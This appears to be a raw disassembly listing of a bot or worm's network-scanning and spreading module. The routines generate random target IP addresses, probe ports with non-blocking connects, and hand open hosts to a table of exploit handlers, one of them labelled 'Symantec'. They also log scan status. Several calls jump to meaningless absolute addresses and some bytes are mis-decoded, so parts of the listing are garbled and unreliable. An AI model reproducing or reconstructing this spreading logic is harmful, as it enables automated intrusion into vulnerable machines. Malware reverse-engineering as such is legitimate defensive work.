; Attributes: bp-based frame


sub_40B719	proc near		; CODE XREF: sub_401ACD+2ADFp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		mov	eax, dword_4CDA80
		mov	ecx, dword_4CDA7C
		push	esi
		push	dword_4CACB4
		lea	esi, [ecx+eax]
		call	sub_41A88B
		pop	ecx
		push	eax
		push	esi
		push	dword_4CDA80
		lea	eax, [ebp+var_200]
		push	dword_4CDA7C
		push	offset unk_4317C4
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		add	esp, 30h
		pop	esi
		leave
		retn
sub_40B719	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B785	proc near		; CODE XREF: sub_401ACD+2AC9p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	dword_4CACB4
		call	sub_41A88B
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	dword_4CDCC4
		push	offset unk_43180C
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		add	esp, 28h
		leave
		retn
sub_40B785	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B7DA	proc near		; CODE XREF: sub_401ACD+2AB3p

var_1000	= byte ptr -1000h
var_800		= byte ptr -800h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41BB20
		push	edi
		lea	eax, [ebp+var_800]
		push	offset dword_431858
		push	eax
		call	sub_41B886
		cmp	dword_431408, 0
		pop	ecx
		pop	ecx
		mov	edi, 800h
		jz	short loc_40B846
		push	esi
		mov	esi, offset aSymantec ;	"Symantec"

loc_40B80F:				; CODE XREF: sub_40B7DA+69j
		lea	eax, [esi-0Ah]
		push	eax
		push	esi
		lea	eax, [ebp+var_1000]
		push	offset dword_431848
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41C1E0
		add	esi, 40h
		add	esp, 1Ch
		cmp	dword ptr [esi+1Eh], 0
		jnz	short loc_40B80F
		pop	esi

loc_40B846:				; CODE XREF: sub_40B7DA+2Dj
		push	dword_4CACB4
		call	sub_41A88B
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1000]
		push	offset aScanTimeS_ ; " Scan Time: %s."
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41C1E0
		push	0
		lea	eax, [ebp+var_800]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_4151AC
		add	esp, 30h
		pop	edi
		leave
		retn
sub_40B7DA	endp

; ---------------------------------------------------------------------------
byte_40B8A1	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+30E0o
; ---------------------------------------------------------------------------
		sub	esp, 3F0h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Bh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-134h]
		rep movsd
		mov	dword ptr [eax+128h], 1
		lea	eax, [ebp-134h]
		push	eax
		call	dword_4CAFB4
		xor	edi, edi
		mov	[ebp-8], eax
		cmp	dword_431408, edi
		mov	[ebp-4], edi
		mov	[ebp+8], edi
		jz	loc_40BA03
		mov	ebx, offset dword_431408
		mov	eax, ebx

loc_40B8F2:				; CODE XREF: ___:0040B9FDj
		push	dword ptr [ebp-1Ch]
		push	dword ptr [eax]
		push	dword ptr [ebp-8]
		call	sub_40C087
		add	esp, 0Ch
		cmp	eax, 1
		jnz	loc_40B9F3
		push	dword ptr [ebx]
		lea	esi, [ebx-28h]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [esi+0Ah]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_4318A8
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_409A72
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_4151AC
		add	esp, 2Ch
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-1ECh]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp-15Ch]
		pop	ecx
		push	esi
		push	eax
		call	sub_41B886
		cmp	byte ptr [ebp-0A4h], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp-0A4h]
		jnz	short loc_40B98E
		lea	eax, [ebp-124h]

loc_40B98E:				; CODE XREF: ___:0040B986j
		push	eax
		lea	eax, [ebp-1DCh]
		push	eax
		call	sub_41B886
		mov	eax, [ebp-24h]
		pop	ecx
		mov	[ebp-1F0h], eax
		mov	eax, [ebp-14h]
		mov	[ebp-140h], eax
		mov	eax, [ebp-10h]
		pop	ecx
		mov	[ebp-13Ch], eax
		mov	eax, [ebx]
		sub	esp, 0BCh
		mov	[ebp-150h], eax
		mov	eax, [ebp-18h]
		push	2Fh
		mov	[ebp-14Ch], eax
		mov	eax, [ebp+8]
		pop	ecx
		lea	esi, [ebp-1F0h]
		mov	edi, esp
		mov	[ebp-148h], eax
		rep movsd
		call	dword ptr [ebx+4]
		add	esp, 0BCh
		inc	dword ptr [ebp-4]
		xor	edi, edi

loc_40B9F3:				; CODE XREF: ___:0040B905j
		inc	dword ptr [ebp+8]
		add	ebx, 40h
		mov	eax, ebx
		cmp	[ebx], edi
		jnz	loc_40B8F2

loc_40BA03:				; CODE XREF: ___:0040B8E5j
		push	dword ptr [ebp-4]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_431874
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_409A72
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_4151AC
		push	dword ptr [ebp-18h]
		call	sub_40B412
		add	esp, 2Ch
		push	edi
		nop
; ---------------------------------------------------------------------------
		db 0E8h, 0AAh, 45h
		db 2Eh,	2

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BA56	proc near		; CODE XREF: sub_401ACD+244Ep

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	0Bh
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_40BA92
		mov	eax, [ebp+arg_C]
		push	dword_4CB0C0[eax*8]
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_200]
		push	offset unk_4318F8
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_40BAA5
; ---------------------------------------------------------------------------

loc_40BA92:				; CODE XREF: sub_40BA56+13j
		lea	eax, [ebp+var_200]
		push	offset unk_4318D8
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_40BAA5:				; CODE XREF: sub_40BA56+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		add	esp, 18h
		leave
		retn
sub_40BA56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BACD	proc near		; CODE XREF: sub_40C124+267p

var_210		= dword	ptr -210h
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_10		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h
arg_13C		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_130]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_40BF9F
		shl	eax, 6
		xor	ebx, ebx
		cmp	dword_431414[eax], ebx
		jz	loc_40BF9F
		push	5
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jnz	loc_40BD54
		mov	eax, dword_429078
		push	edi
		mov	esi, offset dword_4CD17C
		push	104h
		push	esi
		push	ebx
		mov	dword_4CD38C, eax
		mov	dword_4CD388, ebx
		call	near ptr 2680000h
		nop
		mov	edi, offset byte_429108
		push	103h
		push	edi
		push	offset dword_4CD280
		call	sub_41B5F0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CD178, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_4CD410, eax
		jnz	short loc_40BB80
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CD390
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD414, 1
		jmp	short loc_40BB9A
; ---------------------------------------------------------------------------

loc_40BB80:				; CODE XREF: sub_40BACD+94j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CD390
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD414, ebx

loc_40BB9A:				; CODE XREF: sub_40BACD+B1j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CD38C
		push	offset unk_42BE5C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	5
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	dword_4CD384, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CD178
		push	offset word_411796
		push	ebx
		push	ebx
		nop
		call	near ptr 26905D4h
		mov	ecx, dword_4CD384
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40BC08

loc_40BBF6:				; CODE XREF: sub_40BACD+139j
		cmp	dword_4CD418, ebx
		jnz	short loc_40BC23
		push	32h
		nop
		call	near ptr 2690579h
		jmp	short loc_40BBF6
; ---------------------------------------------------------------------------

loc_40BC08:				; CODE XREF: sub_40BACD+127j
		nop
		call	near ptr 2690CE2h
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431A18
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_40BC23:				; CODE XREF: sub_40BACD+12Fj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AC
		mov	eax, dword_4CACB0
		mov	esi, offset dword_4CD424
		mov	[esp+210h+var_210], 104h
		push	esi
		push	ebx
		mov	dword_4CD634, eax
		mov	dword_4CD630, ebx
		nop
		call	near ptr 2680000h
		push	103h
		push	edi
		push	offset dword_4CD528
		call	sub_41B5F0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CD420, eax
		mov	eax, [ebp+arg_138]
		pop	edi
		mov	dword_4CD6B8, eax
		push	7Fh
		jnz	short loc_40BCA4
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CD638
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD6BC, 1
		jmp	short loc_40BCBE
; ---------------------------------------------------------------------------

loc_40BCA4:				; CODE XREF: sub_40BACD+1B8j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CD638
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD6BC, ebx

loc_40BCBE:				; CODE XREF: sub_40BACD+1D5j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CD634
		push	offset unk_4319E4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	4
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	dword_4CD62C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CD420
		push	offset byte_40E991
		push	ebx
		push	ebx
		nop
		call	near ptr 26905D4h
		mov	ecx, dword_4CD62C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40BD2C

loc_40BD1A:				; CODE XREF: sub_40BACD+25Dj
		cmp	dword_4CD6C0, ebx
		jnz	short loc_40BD47
		push	32h
		nop
		call	near ptr 2690579h
		jmp	short loc_40BD1A
; ---------------------------------------------------------------------------

loc_40BD2C:				; CODE XREF: sub_40BACD+24Bj
		nop
		call	near ptr 2690CE2h
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_4319B0
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_40BD47:				; CODE XREF: sub_40BACD+253j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AC
		pop	ecx

loc_40BD54:				; CODE XREF: sub_40BACD+35j
		mov	eax, [ebp+arg_130]
		mov	ecx, eax
		shl	ecx, 6
		cmp	dword_43141C[ecx], ebx
		jz	loc_40BE7D
		push	7
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jnz	loc_40BE77
		mov	eax, dword_4CDCBC
		cmp	[ebp+arg_90], bl
		mov	dword_4CD0E4, eax
		mov	eax, [ebp+arg_110]
		mov	dword_4CD0D8, eax
		mov	eax, [ebp+arg_138]
		mov	dword_4CD0E0, ebx
		mov	dword_4CD168, eax
		push	7Fh
		jnz	short loc_40BDC8
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CD0E8
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD16C, 1
		jmp	short loc_40BDE2
; ---------------------------------------------------------------------------

loc_40BDC8:				; CODE XREF: sub_40BACD+2DCj
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CD0E8
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD16C, ebx

loc_40BDE2:				; CODE XREF: sub_40BACD+2F9j
		push	dword_4CD0E4
		lea	eax, [ebp+var_204]
		push	offset unk_431980
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	7
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	dword_4CD0DC, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CD0D8
		push	offset byte_40E6EF
		push	ebx
		push	ebx
		nop
		call	near ptr 26905D4h
		mov	ecx, dword_4CD0DC
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40BE4F

loc_40BE3D:				; CODE XREF: sub_40BACD+380j
		cmp	dword_4CD170, ebx
		jnz	short loc_40BE6A
		push	32h
		call	near ptr 2690579h
		nop
		jmp	short loc_40BE3D
; ---------------------------------------------------------------------------

loc_40BE4F:				; CODE XREF: sub_40BACD+36Ej
		nop
		call	near ptr 2690CE2h
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431948
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_40BE6A:				; CODE XREF: sub_40BACD+376j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AC
		pop	ecx

loc_40BE77:				; CODE XREF: sub_40BACD+2A8j
		mov	eax, [ebp+arg_130]

loc_40BE7D:				; CODE XREF: sub_40BACD+298j
		shl	eax, 6
		cmp	dword_431418[eax], ebx
		jz	loc_40BF9F
		push	3
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jnz	loc_40BF9F
		mov	esi, offset dword_4CD954
		push	104h
		push	esi
		push	ebx
		call	near ptr 2680000h
		nop
		push	5Ch
		push	esi
		call	sub_41BE40
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40BEBE
		mov	[eax], bl

loc_40BEBE:				; CODE XREF: sub_40BACD+3EDj
		mov	eax, dword_42907C
		mov	dword_4CDA6C, ebx
		mov	dword_4CDA58, eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CD6CC
		call	sub_41B886
		mov	eax, [ebp+arg_110]
		pop	ecx
		pop	ecx
		mov	dword_4CD6C8, eax
		mov	ecx, [ebp+arg_138]
		push	esi
		push	dword_4CDA58
		mov	dword_4CDA64, ecx
		mov	ecx, [ebp+arg_13C]
		push	eax
		mov	dword_4CDA68, ecx
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_42BDE4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	3
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	dword_4CDA60, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CD6C8
		push	offset sub_40F0D5
		push	ebx
		push	ebx
		call	near ptr 26905D4h
		nop
		mov	ecx, dword_4CDA60
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40BF77

loc_40BF65:				; CODE XREF: sub_40BACD+4A8j
		cmp	dword_4CDA74, ebx
		jnz	short loc_40BF92
		push	32h
		nop
		call	near ptr 2690579h
		jmp	short loc_40BF65
; ---------------------------------------------------------------------------

loc_40BF77:				; CODE XREF: sub_40BACD+496j
		call	near ptr 2690CE2h
		nop
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431914
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_40BF92:				; CODE XREF: sub_40BACD+49Ej
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AC
		pop	ecx

loc_40BF9F:				; CODE XREF: sub_40BACD+14j
					; sub_40BACD+25j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_40BACD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BFA3	proc near		; CODE XREF: sub_40C124:loc_40C195p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:4CB0C0h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_4CAE9C
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_4CAF70
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_41C310
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_40BFA3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BFEB	proc near		; CODE XREF: sub_40C124+69p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_41AFE0
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_40C013
		xor	eax, eax
		jmp	short loc_40C084
; ---------------------------------------------------------------------------

loc_40C013:				; CODE XREF: sub_40BFEB+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_41C645
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_40C040
		call	sub_41B8E2
		mov	[ebp+var_C], eax

loc_40C040:				; CODE XREF: sub_40BFEB+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_40C04D
		call	sub_41B8E2
		mov	[ebp+var_8], eax

loc_40C04D:				; CODE XREF: sub_40BFEB+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_40C05A
		call	sub_41B8E2
		mov	[ebp+var_4], eax

loc_40C05A:				; CODE XREF: sub_40BFEB+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_40C066
		call	sub_41B8E2

loc_40C066:				; CODE XREF: sub_40BFEB+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_4CB0C0[ecx*8], eax

loc_40C084:				; CODE XREF: sub_40BFEB+26j
		pop	esi
		leave
		retn
sub_40BFEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C087	proc near		; CODE XREF: ___:0040B8FAp
					; sub_40C124+BBp

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_4CAFF4
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40C0B0
		xor	eax, eax
		jmp	short loc_40C11F
; ---------------------------------------------------------------------------

loc_40C0B0:				; CODE XREF: sub_40C087+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_4CAF74
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4CB010
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_4CAF1C
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_4CAF5C
		push	esi
		mov	edi, eax
		call	dword_4CB00C
		xor	eax, eax
		cmp	edi, ebx
		setnle	al

loc_40C11F:				; CODE XREF: sub_40C087+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C087	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C124	proc near		; DATA XREF: sub_40C124+353o

var_29C		= dword	ptr -29Ch
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_1CC		= byte ptr -1CCh
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_14C		= byte ptr -14Ch
var_140		= byte ptr -140h
var_13C		= byte ptr -13Ch
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		nop
		call	near ptr 26A0D63h
		push	eax
		call	sub_41B8D8
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h

loc_40C16B:				; CODE XREF: sub_40C124+204j
		mov	eax, dword_43DEB4[ebx]
		cmp	dword_4CB0C4[eax*8], 0
		jz	loc_40C32D
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_40C195
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_40BFEB
		pop	ecx
		jmp	short loc_40C19A
; ---------------------------------------------------------------------------

loc_40C195:				; CODE XREF: sub_40C124+60j
		call	sub_40BFA3

loc_40C19A:				; CODE XREF: sub_40C124+6Fj
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	dword_43DEB4[ebx]
		push	[ebp+var_3C]
		push	edi
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_431A74
		push	eax
		call	sub_41B886
		add	esp, 18h
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_43DCB0[ebx]
		push	eax
		call	sub_41B886
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_40C087
		add	esp, 14h
		cmp	eax, 1
		jnz	loc_40C31D
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_40C271
		push	offset dword_4CD0C0
		nop
		call	near ptr 77F7E21Fh
		push	[ebp+var_3C]
		push	edi
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_431A4C
		push	eax
		call	sub_41B886
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_40C253
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C247
		lea	eax, [ebp+var_140]

loc_40C247:				; CODE XREF: sub_40C124+11Bj
		push	eax
		push	[ebp+var_40]
		call	sub_409A72
		add	esp, 14h

loc_40C253:				; CODE XREF: sub_40C124+100j
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_4151AC
		mov	[esp+29Ch+var_29C], offset dword_4CD0C0
		nop
		call	near ptr 77F7E300h
		jmp	loc_40C31D
; ---------------------------------------------------------------------------

loc_40C271:				; CODE XREF: sub_40C124+D0j
		push	edi
		call	dword_4CB000
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_41B886
		mov	eax, [ebp+var_20]
		pop	ecx
		shl	eax, 6
		pop	ecx
		add	eax, offset aSym ; "sym"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_41B886
		cmp	[ebp+var_C0], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C2B6
		lea	eax, [ebp+var_140]

loc_40C2B6:				; CODE XREF: sub_40C124+18Aj
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_41B886
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		pop	ecx
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		sub	esp, 0BCh
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		push	2Fh
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_168], esi
		mov	[ebp+var_164], eax
		lea	esi, [ebp+var_20C]
		mov	edi, esp
		shl	eax, 6
		rep movsd
		call	off_43140C[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh

loc_40C31D:				; CODE XREF: sub_40C124+C6j
					; sub_40C124+148j
		push	7D0h
		nop
		call	near ptr 2690579h
		jmp	loc_40C16B
; ---------------------------------------------------------------------------

loc_40C32D:				; CODE XREF: sub_40C124+55j
		push	esi
		call	sub_40B412
		pop	ecx
		push	0
		call	near ptr 26F0000h
		nop

loc_40C33C:				; DATA XREF: sub_401ACD+1F81o
					; sub_401ACD+5C48o
		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		push	1
		pop	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	dword_4CAFB4
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	dword_4CB0C0[ecx*8], eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40BACD
		push	0Bh
		call	sub_40B33E
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_40C40A
		mov	esi, offset dword_4CD0C0
		push	esi
		call	near ptr 26F06F1h
		nop
		push	80000400h
		push	esi
		nop
		call	near ptr 26F04CCh
		test	eax, eax
		jnz	short loc_40C40A
		lea	eax, [ebp+var_1CC]
		push	offset unk_431B58
		push	eax
		call	sub_41B886
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_40C3F4
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409A72
